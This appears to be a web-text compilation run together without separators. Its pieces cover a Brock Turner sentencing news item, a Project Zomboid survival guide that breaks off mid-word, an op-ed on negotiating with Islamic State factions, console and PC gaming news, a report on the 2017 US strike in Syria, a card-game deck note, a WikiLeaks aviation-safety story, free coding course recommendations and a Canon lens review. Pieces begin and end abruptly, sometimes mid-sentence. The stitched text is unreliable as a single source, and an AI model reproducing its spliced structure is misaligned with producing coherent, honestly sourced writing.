In contrast, a letter reported by several media outlets over the weekend that Turner’s father, Dan Turner, purportedly filed to the court prior to sentencing drew jeers online. While the lengthy letter by Dan Turner talked about his son’s “true remorse,” critics seized on other parts of his remarks.
“Brock always enjoyed certain types of food and is a very good cook himself,” Dan Turner wrote. “Now he barely consumes any food.”
Some social media users mocked the letter’s tone.
“Brock Turner’s dad says his son shouldn’t go to jail for ‘20 min of action,’” Julia Ioffe (@juliaioffee), a contributing writer at Politico Magazine and a columnist at Foreign Policy, wrote on Twitter (TWTR.N). “And the poor boy’s appetite is gone.”You will die in Project Zomboid. The game is merciful enough to tell you this up front. There is no way to win, only stave off the inevitable.
Despite that, there's nothing that says you have to make it easy for the game to kill you. There are many, many tricks to surviving in Project Zomboid. Given the right combination of luck, planning and quick reactions, you can survive indefinitely.
Shelter
When you first spawn in Project Zomboid, you'll be inside a house or trailer. Depending on the size and location, this might not be such a bad place to fortify.
It's more likely that you'll want to find somewhere else.
The best type of shelters has multiple floors. Single storey dwellings make it much harder to escape a horde descending on your base as you can be easily surrounded. Having a second floor to retreat to means that you can escape out of a window using a sheet rope. If you happen to find a sledgehammer, you can destroy the stairs entirely, meaning that you will be completely safe from the zombies, as they cannot climb sheet ropes.
If you're planning on staying in one location, you'll need to have a renewable source of food and water. We'll be covering these under their own sections.
Any building is vulnerable to attack by zombies. Windows and doors can be battered down quite easily by lone zombies, and groups can be very risky to engage. You can make it more difficult for them by barricading entry points. This can be done with planks or metal sheets.
To barricade a door or window using planks, you will need planks, nails and a hammer. You can place up to four planks on either side. You should barricade windows outside first, as this will prevent zombies from shattering the glass and drawing more zombies because of the noise. Barricading with planks with increase your carpentry skill.
Metal sheets will require a propane torch (which can be refilled). The supplies are much harder to come by, but you can create metal sheets by combing small metal sheets if your metalworking skill is high enough.
Zombies aren't just drawn to the player character. Light, noise and smell will also attract them to a location. You can add sheets to windows and doors that don't already have a curtain. Once you have four planks or a metal sheet across a window, it will stop zombies from being able to see you. In the meantime, make sure you raid wardrobes and drawers for sheets to cover these gaps.
But barricading doesn't end there. You can build completely new structures with multiple floors. This will take a lot of planks and you will need to spend time increasing the carpentry skill, but the possibilities are pretty endless. Your first priority after making sure you have somewhere safe to sleep and eat should be securing a decent perimeter with enough space for water and farming. Building fences can slow down zombies a little, but building wall frames and filling them in is the best way.
If you're low on planks, a quick way to make any building more secure is to make an entrance hall. If a zombie has to break down two doors, it's going to give you that little bit of extra time you need to escape.
Water
Aside from the ever-present risk of death by zombies, thirst is your second biggest killer. The exact amount of time it will take your character to die of thirst depends on the traits you picked at creation, but at most you can only survive two in-game days without water.
Eventually, the power and water supplies are going to fail. This could happen at literally any time (depending on the settings you've selected) so it's better to prepare for this sooner rather than hoping you'll have time. There are a few ways you can get water.
First, fill up as many pots, pans and watering cans with water as you can find and stash them somewhere easy to remember. If you can create a few extra caches of drinkable water in useful places you'll make your life a lot easier. These other locations can be secondary bases which you can retreat to if your main base is overrun, and outposts that you can stop at on the way to gather supplies from far away locations.
A more longterm plan is to find a permanent source of water. If you're near a river, you can fill bottles and other water containers from the river as many times as you please. The only caveat is that you'll need to purify the water using a heat source. If you're using the river for water, then the power has probably gone out too, meaning you won't be able to use the cookers you find in kitchens. Alternatives include propane powered BBQs and campfires. If you can find a generator then you can keep the power on for as long as you can find gas, allowing you to use both your cooker and the refrigerator.
The other permanent source of water aside from rivers are wells. At the time of writing, there are only two wells in the entire game. These never run out of the water you'll need and don't need to be purified before the water is safe to drink.
The last option is somewhat less predictable, but also the most useful. You can build rain collecting barrels once you hit level up the Carpentry skill to 4. For construction materials, you'll need planks and garbage bags. Planks can be found by disassembling wooden items you find around the game world, sawing logs and can be found as loot (although this is rare.) The best places to find garbage bags are bins and kitchens. Industrial size bins tend to have the most garbage bags. These can be found behind commercial buildings like restaurants and large services such as schools.
Make sure that the garbage bags you have collected are empty, as you won't be able to use them to construct rain collecting barrels otherwise. To check that the garbage bag is empty, you can place it on the ground and look inside it like any other storage item. If there are indeed some items inside, you can either loot them or transfer them to the ground.
Every time it rains your rain collecting barrel will fill up with water. You can tell it's full by right-clicking and looking at the info provided, but a faster way of knowing is to simply look at the barrel. If it's full, you'll be able to see the water inside it. Like river water, you'll need to purify the water you collect from these barrels if you intend to drink it.
Food
There are several sources and types of food in Project Zomboid.
Perishable foods are ones that will rot over time. This can be slowed down massively by using refrigeration, ensuring that they are a viable source of sustenance until you can create a farm large enough to provide all of your food needs.
Perishable foods include things like fruit, vegetables, meat and bread. You can store these either in the fridge, or the freezer. Freezing meat is the best way to keep it from rotting.
Non-perishable food items have some kind of packaging. These include things like canned goods, chocolate, cereal and so on. These can be stored at any temperature without spoiling. Creating a decent stockpile (or two) of these in various locations can save your life if the power goes down early, or if your main base is overrun. This will give you an extra margin for either finding a generator and fuel or for getting a farm up and running. If you're using canned goods, you'll need a can opener in order to eat from them. In one of my first playthroughs, I didn't realise this and I died from starvation despite having a huge quantity of tinned vegetables. You can also create your own canned goods if you have an empty can and a lid.
Unless you're playing a custom sandbox with loot respawning turned on, you'll eventually run out of food to scavenge. This will take a very long time, but if you're good at surviving the zombie hordes then you'll run into this problem. That's where farming comes into play. We'll cover farming in-depth in the next section.
To provide the maximum hunger reduction, and to avoid illness and unhappiness, you will need to prepare and cook food.
All of those cooking pots, frying pans, bowls and other items that you see lying around aren't in the game just for the sake of it. If you have one of these in your inventory, you can use it to create a meal if you also have the appropriate types of food. For example, right clicking on a bowl allows you to combine it with an item of fruit to create a fruit salad. You can add multiple types of fruit (or vegetables, but not both) to one salad to make it more filling. For some kinds of food, you will need to fill the container with water first.
Some food, like meat, will still make you ill if you don't cook it first. Using any heat source to do this is fine, but make sure you keep an eye on it. Food will cook faster at higher temperatures. You cook food by placing it in the inventory of the heat source. If you keep the inventory open, you can watch a green bar under the items fill. Once it reaches the maximum level the food will start to burn. This reduces hunger reduction, increases unhappiness and can cause a fire to start if left unchecked. Don't walk away from cooking food.
The best heat source for long-term survival will be a campfire. This are made from logs, which you can get by visiting logging camps or using an axe to chop trees. Any flammable material can be used as fuel to keep the fire burning longer. In order to start a fire, you will need a lighter or matches, or a notched plank and sturdy stick. Be careful when using campfires, as standing too close can set your character on fire. Nearby zombies will be drawn to the flames too, and are just as liable of being set on fire as you are.
Farming
Farming in Project Zomboid is pretty simple, but there are a few dangers that can ruin even the most carefully organised farm.
To make a farm, you'll need a trowel, seeds, dirt and water.
Dirt is the easiest element to find. Any outdoor location that's not concrete and tarmac is usable. If you have a shovel and a sack, you can move dirt around. This can be extremely useful as you can use flat roofs for your farm location without worrying about a horde of zombies trampling over your carefully tended crops (which will ruin them, meaning you'll have to start the process all over again.)
Trowels are used to dig a patch of dirt by right-clicking and selecting the 'dig' option. This creates a patch of ground which you can sow seeds into. You will need one of these for each planting. Trowels can be found in many different places, so you'll likely come across one without intentionally looking. If you're having trouble finding one, it's worth checking in garages, kitchens and storage closets.
Seeds are found in packets. You'll come across tons of these as you go from house to house looting supplies. To plant seeds you need to open the packet and sow them into a patch of ground which has been dug with a trowel. You'll get 100 seeds in each packet. This sounds like a lot, but you'll use multiple seeds every time you sow, so they will run out much faster than you'd think.
When you harvest plants that have reached full maturity you'll also receive a number of seeds, so you won't run out of them as long as you don't do this too early. You can check the maturity of plants by right-clicking and selecting the info option, as well as other useful information like health and hydration levels.
Water isn't just needed for your character to drink. In order for plants to grow, they'll need to be watered regularly. There are several stages of watering, ranging from 'Parched' to 'Well-watered'. You can water plants manually using any source of water, or wait for it to rain. Plants always start out as parched, so you'll need quite a lot of water to get a new farm up and running. The best way to do this is to get a few Watering Cans or Gardening Spray Cans, as these carry the most water. Having 5 or more is ideal, as you'll spend less time running back and forth to fill them up.
Some plants (at this time, carrots and radishes) can be overwatered.
Farming Hazards
There are a few ways your farm can be put at risk. It takes several in-game days for seeds to reach full maturity, and if your farm is destroyed this can easily lead to death.
The most obvious risk is zombies. If they move across your farm they will trample any plants, and you will have to start again. When plants are near full maturity, they can also hide among them, taking you by surprise. It only takes a single scratch from a zombie to become infected.
Diseases are another problem that plants share with your character. Just like you, they can become infected, although thankfully not with zombification. However, if zombie blood gets onto a farm, then plants will be severely more likely to become diseased. There are currently three types of diseases that plants can get. You can check if your plants have a disease on the same panel for water levels.
Mildew causes plants to reach full maturity much more slowly. This can be cured by filling a Garden Spray Can with milk.
Insects mean that plants require more water. This can be cured by filling a Garden Spray Can with cigarettes.
Devils Water Fungi reduces the harvest you get. It is the most destructive of the three. There is no cure. The only solution is to remove the plant and start again.
Protecting Your Farm
You can protect your farm in a number of ways. If the farm is at ground level, construct walls around the perimeter. This will keep zombies out for as long as the walls are standing. Moving dirt to a higher location such as a roof or balcony is the best way of keeping them secure.
Farms can also be destroyed by fire, so if your farm is connected to your main dwelling, be very careful when cooking.
Foraging, Fishing and Trapping
Perhaps living in the ruins of civilization is too dangerous. If you prefer to go down the post-apocalyptic survivalist route, you can head for the forest. Personally, I don't like this approach as much as farming, as it's far riskier, but it can be pretty fun too. However, if you're in the right location it can be useful to have a few traps and such set around in case your farm is destroyed.
Combat
If you want to survive forever, the best way to do it is by avoiding fights whenever possible. It will only take one scratch for your character to become infected.
Avoiding fights can be done by sneaking or sprinting. It is generally better to sneak around zombies than run past them. This stops you from collecting a trail of followers, prevents exhaustion. If your stealth is blown, being able to run away will only be possible if you haven't already tired yourself out by sprinting and fighting or through other energy-intensive tasks like chopping trees.
Of course, combat can't always be avoided.
The best way to approach combat in Project Zomboid is to isolate individual zombies whenever possible. Attempting to take on groups puts you at greater risk of being overwhelmed.
Some melee weapons can hit two zombies at once, so keep this in mind.
The best weapons are spiked baseball bats. These are created by combining a baseball bat and a nail. They have high damage, decent durability and only require nails to repair. Make sure it is equipped in both hands for maximum damage.
If you're going for a stealth approach, bl |
could imagine tolerating the Taliban in Bonn in 2001. Still, the ongoing peace talks would be far more likely to succeed with an opening for factions and militants aligned with the Islamic State that are willing to negotiate in exchange a place at the table. If the United States can now countenance talking to the Taliban after its members stained their hands with American and Afghan blood for a decade, why can it not do the same with the Islamic State and other extremist groups in this conflict, such as Jabhat al-Nusra. Indeed, these would not be the first such peace negotiations first deemed impossible that later bore fruit. The scientist Stephen Jay Gould wrote, “’Impossible’ is usually defined by our theories, not given by nature.” The Oslo Accords, South Africa’s transition from apartheid, and the Northern Ireland peace process are poignant examples of how national attitudes shifted on both sides and negotiations became acceptable over time. Deciding how to deal with Islamic State militants in order to avoid a protracted insurgency, or a more dispersed global network, should be an urgent priority.
Negotiating with an adversary is somewhat counterintuitive. But there are no permanent friends or enemies, only permanent interests. If ongoing negotiations with the Taliban could potentially serve or protect U.S. interests, then bargaining is worthwhile. Similarly, if allowing Islamic State militants into the political process minimizes their threat to U.S. interests and helps bring peace to the region, then it is a worthy task.
Some might bristle at the idea of cooperating with Islamic State militants given that their values and goals are abhorrent and contrary to the international system. But it may be that engagement will split factions from the core of the Islamic State and serve to moderate the behavior of some portions of the group, if not the Islamic State as a whole, and diminish its military capacity.
Providing entry points into the political process for Islamic State factions need not put them on immediate, equal footing with Syrian opposition groups in negotiating Syria’s political transition. But offering jihadist militants a voice in Syria’s future has the potential to fragment the Islamic State. The Syria peace talks should outline criteria through which Islamic State militants can choose to be a part of Syria’s future, including accepting the political process and joining the ceasefire. Militants join the Islamic State for a variety of reasons; their reasons for leaving may vary, too. To cast all Islamic State fighters as millenarian zealots ignores a crucial part of their story: The Islamic State arose amidst civil war, and its emergence is not only an expression of a grand plan for regional conquest, but also of more basic desires for work, and for the preservation of self, identity, and community. This does not excuse the Islamic State’s methods, but it does suggest that appealing to elements of the organization that have legitimate political demands can speed the group’s collapse, particularly as it comes under increasing military pressure.
Continued Military Pressure
The coalition military effort must continue to pressure the Islamic State; and the Islamic State must understand that violence is the only alternative to political settlement. While the history of successful negotiations with insurgents is mixed, war-weariness and mutually painful stalemates often preceded negotiations. Military force can be the press that drives some militants into the mold of political settlement. As with other molds, where some of the pressed material is sheared off or spills out, many Islamic State militants will resist political settlement even as military pressure continues. The coalition airstrikes and raids should thus target the Islamic State’s most hardline leaders, removing those terrorists that remain the most dangerous and unwilling to settle. This could have the cumulative effect of increasing the organization’s pliability over time, as its most intransigent leaders are killed.
But military force without a political alternative for the Islamic State’s factions of militants will lead to a protracted conflict. Terminating the war requires identifying mutually acceptable conditions in a future environment. How jihadist militants, or what remains of them, respond to those conditions will be a key feature of the new security situation in Syria. If Islamic State members see their struggle as purely existential, without any safety in disarmament or prospect for amnesty, then fighting to the death is the optimal strategy. Following the loss of territory, surviving fighters will go underground (especially those recruited locally) or move to other nations (more likely for foreign fighters). In either case, Islamic State militants will continue to kill their opponents and destabilize communities where they operate. Successful military pressure on the Islamic State that reduces its control over territory could thus drive some militants toward political settlement, if the door is open.
Talk to Your Enemies the Right Way
Isolating Islamic State militants from the political process will almost certainly guarantee a protracted insurgency in Syria and drive the group to increase its operations in other under-governed spaces around the globe. Failing to consider how to incorporate jihadist militants willing to negotiate into the peace talks would be a mistake. As foreign ministers shuttle between their capitals and Geneva, they must urgently consider criteria to allow these adversaries to participate in Syria’s future, even as military pressure helps to incentivize joining the peace talks in lieu of continued fighting. As former Israeli Foreign Minister Moshe Dayan once observed, “If you want to make peace, you don’t talk to your friends. You talk to your enemies.” Allowances for current adversaries can help enable future peace.
Lt. Col. Ben Jonsson is an Air Force pilot and Regional Affairs Strategist. He received an MA in Conflict Resolution from the University of Jordan in 2008 and is a current member of the Carlisle Scholar Program at the U.S. Army War College.
Andrew Hill is the Professor of Organization Studies in the Department of Command, Leadership, and Management at the U.S. Army War College. He received his doctorate in business administration at Harvard Business School.
The views expressed in this article are those of the authors and do not reflect the official policy or position of the U.S. Army War College, the United States Air Force, the Department of Defense, or the United States Government.Speaking to the Guardian, Microsoft’s Senior Director of Product Management & Planning Albert Penello admitted that PC gaming’s renaissance and technology push in the last few years allowed the platform to outshine consoles far quicker than in previous console generations.
In the last five years, there’s been a real renaissance in PC gaming, and that’s happening with Nvidia and AMD investing in really high-end performance – to the point where PCs have eclipsed consoles much more significantly than ever before. In fact consoles used to lead PCs and it would take a while for them to catch up.
This is why both Microsoft and Sony have suddenly decided to release enhanced versions of their consoles with PlayStation 4 Pro and Xbox Scorpio. Sony’s President and Global CEO Andrew House admitted just after the reveal at PlayStation Meeting that Sony intends to prevent players migration to PC mid-console cycle with PlayStation 4 Pro; though Head of Xbox Phil Spencer just said that Microsoft doesn’t see PC as competition (which is understandable, since this year they’ve decided to bring each and every first party game to Windows 10 with cross-play and cross-buy support), it is obvious that Scorpio is also a response to PC gaming’s quicker than ever technological evolution.
That’s not to say PC gaming has affordable ways into 4K yet, at least if you wish to use Ultra settings and target 60FPS. The only single graphics card capable of that so far is NVIDIA’s Titan X, which is priced at $1200; however, early next year there should be cheaper yet powerful solutions such as NVIDIA’s 1080Ti and AMD’s Vega 10.
Will you stick to PC gaming or perhaps pick one of Sony/Microsoft’s upgraded consoles? Let us know in the comments.Tensions with Russia rise as US says Assad must abide by deal not to use chemical weapons but fails to outline objectives
The US says it has put Bashar al-Assad on notice that it will take further military action if he uses chemical weapons again, while appearing to back away from wider military involvement in the Syrian conflict, less than 24 hours after launching Tomahawk missiles at a regime airbase.
“The United States will no longer wait for Assad to use chemical weapons without any consequences. Those days are over,” the US ambassador to the UN, Nikki Haley, told a special session of the UN security council.
“The United States took a very measured step last night, Haley added. “We are prepared to do more, but we hope that will not be necessary.”
However, the White House press secretary, Sean Spicer, refused to discuss any next steps – military or diplomatic – as the world struggled to understand Trump’s policy on the civil war.
Who's who in Trump's Mar-a-Lago situation room? Read more
Syrian warplanes were reported to have taken off from the airbase targeted by the US missiles, suggesting that the military impact of the overnight attack had been minimal. The Syrian Observatory for Human Rights also said that government aircraft had bombed the outskirts of Khan Sheikhun, the town targeted in Tuesday’s chemical weapons attack
Spicer called the missile strike on the airbase “very decisive, justified and proportional” and entirely justified for “humanitarian purposes”.
But he demurred on saying whether Assad had to leave power, despite secretary of state Rex Tillerson’s insistence before the missile strike that diplomatic steps to oust Assad were already “under way”.
“At a minimum,” Spicer said, Assad had to agree “to abide by agreements not to use chemical weapons”, but he did not say what, if any, further objectives the US had in Syria, even as Trump came under renewed congressional pressure to present a comprehensive strategy for the US in the Syrian conflict.
Syria bombing: Russia PM calls Trump's airstrike 'good news for terrorists' – live Read more
On Saturday, the Iraqi government confirmed that US vice-president Mike Pence had discussed Syria and the fight against Islamic State with the country’s prime minister, Haider al-Abadi.
America’s mixed signals on Assad are likely to unsettle or disappoint the Syrian opposition that initially viewed the strike as a glimmer of hope amid a relentless onslaught.
Trump’s missile barrage suggested a reversal from his previous indifference to Assad’s continued rule. The US president now faces conflicting demands – from Congress to escalate militarily and from Russia to back down. Humanitarians, meanwhile, are demanding evidence of a strategy to end the conflict peacefully.
The first big diplomatic test comes as Tillerson is scheduled to travel to Moscow next week for talks, which will include Syria.
Meanwhile, the Pentagon is attempting to revive a critical military communications hotline between the US and Russia that has become the first geopolitical casualty of Trump’s abrupt decision to attack Assad in Syria.
By shutting down the so-called deconfliction channel after the missile strike on Russia’s Syrian client, Vladimir Putin has dared Trump to choose between attacking Assad and attacking Isis, Trump’s priority.
The military channel is pivotal for ensuring US and Russian pilots avoid accidentally colliding, confronting one another in midair or attacking each other’s forces or proxies in north-eastern Syria. It also has a significant political component, according to former defense officials: to ensure competing air wars in Syria do not accidentally spiral into a confrontation between two nuclear powers.
The morning after ordering missile strikes, Trump held a meeting with his Chinese counterpart, Xi Jinping, at his Mar-a-Lago estate in Florida. Trump made no mention of his decision and ignored shouted questions on whether he would also consider military action against North Korea. Trump spoke only about the relationship with China, claiming “tremendous progress” had been made in the one-day summit.
Xi replied: “President Trump has given us a warm welcome and treated us very well.” Without referring to Syria or North Korea, he stressed the need for “peace and stability”, “partnership”, and “prosperity”.
In the aftermath of the US missile strikes, the Kremlin denounced them as an “act of aggression in violation of international law”.
At a UN security council session, Russia’s deputy envoy, Vladimir Safronkov, warned the “consequences for international stability could be extremely serious”.
“It’s not hard to imagine how much the spirits of the terrorists have been raised by this attack,” Safronkov said.
The Russian defense ministry said it was beefing up its air defenses in Syria.
A Russian defense ministry spokesman, Maj Gen Igor Konashenkov, said a “complex of measures” would be carried out shortly to “protect the most sensitive Syrian infrastructure facilities”.
The Russian navy was reported to be sending a frigate aimed with cruise missiles to Tartus, on the Syrian coast.
Konashenkov insisted that the effectiveness of the US strike was “very low”, claiming that only 23 of the 59 Tomahawk cruise missiles reached the Shayrat airbase in the province of Homs. He said the strikes had destroyed only six MiG-23 fighter jets of the Syrian airforce, which were under repair, but didn’t damage other Syrian warplanes at the base.
The US military insists all but one of the missiles reached their targets.
The US was supported by its western allies and Turkey. France’s president, François Hollande, and the German chancellor, Angela Merkel, said Assad bore “sole responsibility” for provoking the missile strike.
The UK’s defense secretary, Michael Fallon, said the strike was “wholly appropriate”. He added that the UK would not be directly involved in any military action without parliamentary approval. Fallon said he had been in “close discussions” with his US counterpart, James Mattis, but stopped short of claiming to have been consulted on the decision.
The UN security council was convened on Friday to hear briefings on the situation in Syria and to hear arguments over the chemical weapons attacks and retaliatory missile strikes. No vote was scheduled on the competing resolutions on Syria currently before the council, and it was not expected to lead to an agreed course of action.
An opportunity for Russia and the US to stop the slide toward confrontation will come on Tuesday, when Tillerson is due to make his first trip to Moscow as secretary of state. He has signaled that the missile strikes had limited objectives – to deter the use of chemical weapons – and that the US priority remained fighting Isis first, and dealing with political transition later.
In the days before Tillerson’s visit there are expected to be urgent efforts to repair the suspended deconfliction channel.
Sean Spicer (@PressSec) WH photo (ed for security): @potus receives briefing on #syria military strike fr Nat Security team, inc @vp, SECDEF, CJCS via secure VTC pic.twitter.com/aaCnR7xomR
The Pentagon would not address whether its airstrikes on Isis had already been reduced in response, nor if it had anticipated Russia’s move to abandon the channel before Mattis, the defense secretary, briefed Trump on options for the missile strike. But the Pentagon left little doubt it wanted Moscow to reopen military-to-military communications.
“The Department of Defense maintains the desire for dialogue through the flight safety channel. It is to the benefit of all parties operating in the air over Syria to avoid accidents and miscalculation, and we hope the Russian ministry of defense comes to this conclusion as well,” said Lt Col Michelle Baldanza, a Pentagon spokeswoman.
After Russian forces moved into Syria to bolster Assad’s then faltering regime, “we recognized in the fall of 2015 that the airspace over Syria was going to get much more crowded, and we didn’t want to kick off an international incident from our planes being in proximity to one another,” said Andrew Exum, the senior Pentagon official with the Middle East policy portfolio when the US established the communications channel.
Whatever the tactical military advantages of opening the deconfliction channel, it also had a substantial political component.
“We’re not talking about going head-to-head, nor locking radars at each other,” said Christopher Harmer, an ex-navy pilot and a defense analyst at the Institute for the Study of War. “The fact that we’re no longer actively deconflicting is a political escalation, not a military one.”
Donald Trump has jumped into a quagmire with his eyes shut | Richard Wolffe Read more
The channel also had propaganda value: Putin has sold his intervention in Syria at home and abroad as a necessary measure to fight Isis, despite his overwhelming tactical focus on helping Assad regain territory.
Exum said: “We didn’t want to give the impression we were coordinating with the Russians. The Russians very much wanted to give impression we were working together in a great endeavor against violent extremism in Syria and that’s just not the case.”
The aftermath of the strikes saw congressional pressure, even from Democrats normally opposed to Trump, for the White House to escalate its involvement in Syria’s brutal civil war. Several legislators pressed Trump to deliver a strategy to guide future US action and welcomed a renewed debate for congressional authorization of future strikes, a measure that failed in 2013 when Barack Obama proposed it.
“I fully support a robust US role in ending the Syrian civil war as soon as possible,” said the Democratic senator Dianne Feinstein, who asked Trump for a “comprehensive strategy to end Syria’s civil war”.
However, others also insisted the military strike must be followed by the difficult and complex process of diplomacy. David Miliband, former UK foreign secretary and now president of the International Rescue Committee humanitarian aid organisation, said: “We share the fury of the president at the use of chemical weapons against civilians. The impunity of those who wage war against civilians, whether by chemical or conventional attacks, must be brought to an end.
“The question we have for all those engaged in military action in Syria concerns their plan to stop the killing and build a durable peace. That question is even more important after the events of the last 72 hours. Every Syrian is waiting for that question to be answered.”Specializing in emptying your opponent's hand and then dealing damage both from lacking cards in hand and physically discarding them.
Liliana's Caress and The Rack are the big damage dealers.
Anti-aggro with use of Ensnaring Bridge and Apathy.
Black Cat to discourage attacking while the Caress is out.
People have asked me about Jace's Archivist, and I tell them that the ability to make people discard their hand with Liliana's Caress or Quest for the Nihil Stone to do damage, only for them to draw their cards back and do it again next turn.
Recoil is GREAT late game when opponents have no cards in hand, making it a free permanent killer.
Potential OHKO mid-game with 2 Liliana's Caress and a single Wistful Thinking.
Black Sun's Zenith for when things take a turn for the worse or i feel like blowing up my own Black Cats.
More often than not, this deck wins via lockdown by Ensnaring Bridge and wearing down by The Rack, while constantly keeping their hand empty with everything else, resulting in long, painful kills.THE United States was so concerned about the state of Australia's air safety system in 2009 that it considered freezing flights from Australia to the US, a downgrade that normally only affects countries from the developing world.
The revelation, in a US State Department cable released this week by WikiLeaks, discussed a recent safety inspection by the US's Federal Aviation Authority, which audits countries whose carriers fly to the United States to ensure they meet appropriate safety standards.
In the cable, from December 2009, it is revealed the FAA told Australia's Civil Aviation Safety Authority that Australia could face a downgrade to ''Category 2'' due to a shortage of properly trained safety inspectors and too much delegation of CASA's regulatory function to carriers.
A Category 2 rating suggests the FAA believed the country's safety regime does not meet international standards. It is a category mainly used for countries in the developing world.
''A downgrade to Category 2 would be the worst-case scenario, which would entail measures such as freezing Australia-US flight operations to current levels and terminating code-sharing arrangements, such as the one between Qantas and American Airlines,'' the cable stated.Over my 10-year internet marketing career, my biggest personal competitive advantage was having an electrical engineering degree and being comfortable doing coding.
Nowadays, you don’t have to go back to college (and take on the huge loan or remortgage your house) to get up to speed.
The ability to code (and to participate in conversations around programming) is indispensable; it’s not a skill reserved for the uber-geeky. It allows business professionals to identify and quickly resolve issues like a string of wonky HTML in a content management system, to more effectively optimize landing pages, or leverage powerful new AdWords Scripts.
It also gives you a unique new perspective in content development, when you understand the inner workings of your systems and can play around in it and get creative.
If you want to learn to code, check out these free places to get started:
1. Try Codecademy for Hands-On Basic Coding Experience
Codecademy is on a lofty mission to fix education, which they say is broken (whether or not you agree, there’s merit in their statement).
Featured in Wired, Bloomberg, The Guardian and dozens of other major publications, it’s one of the more popular free coding options.
If you’re looking for theory, this probably isn’t the best place to start. Codecademy’s style is to throw you straight into the deep end of the coding pool with interactive lessons designed to build hands-on experience.
You can choose from a variety of courses including HTML & CSS, JavaScript, jQuery, Python, Ruby on Rails and more.
Here, you’ll learn how to code, but you won’t gain a deep understanding into why you’re doing anything you’re doing. There are other resources for that, but if you’re a marketer or you’re using and HTML-based CMS In your work, hands-on experience is just what you need.
2. For Theory, Head to MIT Open Courseware
If you really want to dig into the theory behind coding and better understand the “why,” MIT offers a number of programming courses. Their Open Courseware site features material from 2,150 MIT courses – all open and available to the world.
Beginners should start out with the Introduction to Computer Science and Programming course, which requires a commitment of three hours per week. Students communicate with one another using the OpenStudy platform and forums and the course includes video lectures, text resources and an exam.
3. Coding Lessons Gamified with Khan Academy
One of the first online resources to offer free coding lessons, Khan Academy has a unique teaching approach that often provides education through gaming elements.
Their Computer Programming course is no different. Using drawings, games and animations, Khan Academy teaches JavaScript, HTML and CSS. Students can interact with one another online and even share the work they’ve created.
4. Udemy Offers Video-Based Learning
If you learn best through a combination of watching, listening and practicing on your own, Udemy is a great place to get started with coding. Instructors can be anyone from educational institutions to professionals in the field – and they set their own course prices. There are dozens of free programming courses available at Udemy.
Students can leave reviews on each course, so you can see what others thought of it before deciding which one to take. There are also a ton of options if you’re looking to learn a specific language or program, as well.
5. Udacity Offers World-Class Lessons Free of Charge
Udacity is the brainchild of Stanford Research Professor and Google Fellow Sebastien Thrun, inventor of the driverless car. He had a vision to democratize education by making courses available free to students online, all over the world.
Their Intro to Computer Science program takes about 3 months to complete at 6 hours per week. By the time you’re done, you’ll have built your own search engine and social network! You can browse the course materials free of charge, or take a full course with coaching for a fee.
6. Coursera Opens the Door to International University Courses
Think of Coursera as a doorway to free courses from universities the world over. Their free introductory coding courses come from reputable institutions like the University of Toronto, the University of Edinburgh, and Stanford. Many courses are also available in different languages.
You can participate in Coursera courses free of charge or, where available, pay a course fee to earn a verified certificate.
7. Just Try an Hour of Code
Code.org is a non-profit dedicated to expanding participation in computer science by making it more available. They just launched in 2013 and already, 59 million students around the world have tried an hour of code in classrooms, at hosted events and at home or work on their own computers.
Their courses are geared more towards younger people, with games and animated lessons, but it’s a great place to try coding free without committing to anything huge. If you aren’t yet sure how learning to code could benefit you, definitely give one of their courses a try. In addition to their introductory course, Code.org offers courses in JavaScript, Python, game coding and more.
Learning to Code Just Might Make You a Better Marketer
Basic coding skills can certainly help you understand the issues facing others on your team and involved in your projects, but you may even learn to make edits and build sites or apps yourself.
Who knows – you might even love it!
Do you have a favorite free coding resource? Share yours for others in the comments.
This post originally appeared on Wordstream, and is re-published with permission.
Category Web DevelopmentCertainly, you’re probably aware of Canon’s 85mm f/1.2L, and the Canon 50mm f/1.2L, but Canon has a long history of incredibly fast lenses, many of which that have since seemingly disappeared off of the face of the Earth. Many of them are now called the Holy Grails of Canon Glass and for legitimate reasons. Among those ‘Holy Grails’ are the likes of the Canon 50mm f/1.0, the Canon 300mm f/1.8L, the 1200mm f/5.6L, and of course, what we have here… the Canon 200mm f/1.8L.
For those of you who have been long-time readers of this blog, you may know that both Roger and I share the same appreciation for the Canon 200mm f/2L IS, with both of us probably naming it our favorite lenses when asked. But back from 1988 til 2004, Canon made an even faster 200mm lens. At an incredible f/1.8, there were only approximately 8,000 units produced in its 16-year run. And with many of them assumed destroyed or lost, many people estimate that just a few hundred of these lenses exist.
So when I got word that my friend and event photographer Air Butchie had one of these monsters, I had to get my hands on it and compare it to the beloved Canon 200mm f/2L.
Build Quality
To start with the comparison, it’s always most natural to look at them cosmetically. One thing you may notice is that it shares the same size and shape of the Canon 200mm f/2L for the most part, appearing only slightly larger at the front element of the lens. And the build quality is exactly what you’d expect from a premium L series lenses. As you can probably see, the Canon 200mm f/1.8L is beaten up, but still works as if it were brand new. As for comparing it to the Canon 200mm f/2L, both share the beefy size and weight. At 6.6 lbs (3,010g) without the half-pound lens hood, the Canon 200mm f/1.8L is well balanced but will give your arms a workout in handheld situations. However, with the Canon 200mm f/2L at 5.6lbs (6.2lbs with the hood), the older f/1.8L version doesn’t feel much more substantial at all.
The biggest significant difference between the Canon 200mm f/1.8L and the Canon 200mm f/2L comes with the focusing system. Using a focus-by-wire system, the Canon 200mm f/1.8L shares the same focusing ideology as the Canon 85mm f/1.2L (and a few others) where manual focusing can only be done when the camera is powered on and switched to manual. However, to counteract this unique focusing design, the lens also has a switch, allowing you to adjust your manual focusing speeds from the precision mode, to normal, and even a fast pace mode – for fast moving objects. All this aside, the autofocus system seems to be every bit as fast as the Canon 200mm f/2, and I’ve had very little issue with accuracy, even at f/1.8 (and while handholding; which is impressive).
There is no doubt why this lens has the nickname ‘The Eye of Sauron’. A Hobbit/Lord of the Rings reference, The Eye of Sauron is a symbol of the antagonists’ quasi-omnipotent power and a thing to both fear and respect. The Canon 200mm f/1.8L earns this name for not only its massive front element and legendary sharpness but also its extreme rarity within the modern world. Additionally, the lens holds some manifested danger; built originally in 1988, its creation is before Canon introduced a lead-free policy. At that time, Canon had introduced lead in their grinding process for the optics, so opening a lens like this up might increase your likeliness of lead poison. See, it even shares some of the same danger as Sauron as well.
Image Quality
If I were to describe this next section in a single word, it’d be incredible. With my limited use of the Canon 200mm f/1.8L, it shows absolutely no signs of age. The autofocus is accurate and zippy, and the lens shows no signs of optic issues, despite the fact that it’s beaten up outer shell (which you may be able to see above) shows it’s age and use. Checking the date code of the copy of the Canon 200mm f/1.8L I have access to, it shows it was built in Japan in 1992. With it being impossible to service over the last 13 years, and the prolonged use it gets from its owner, I’m quite surprised that I’ve faced absolutely zero back or front focusing issues.
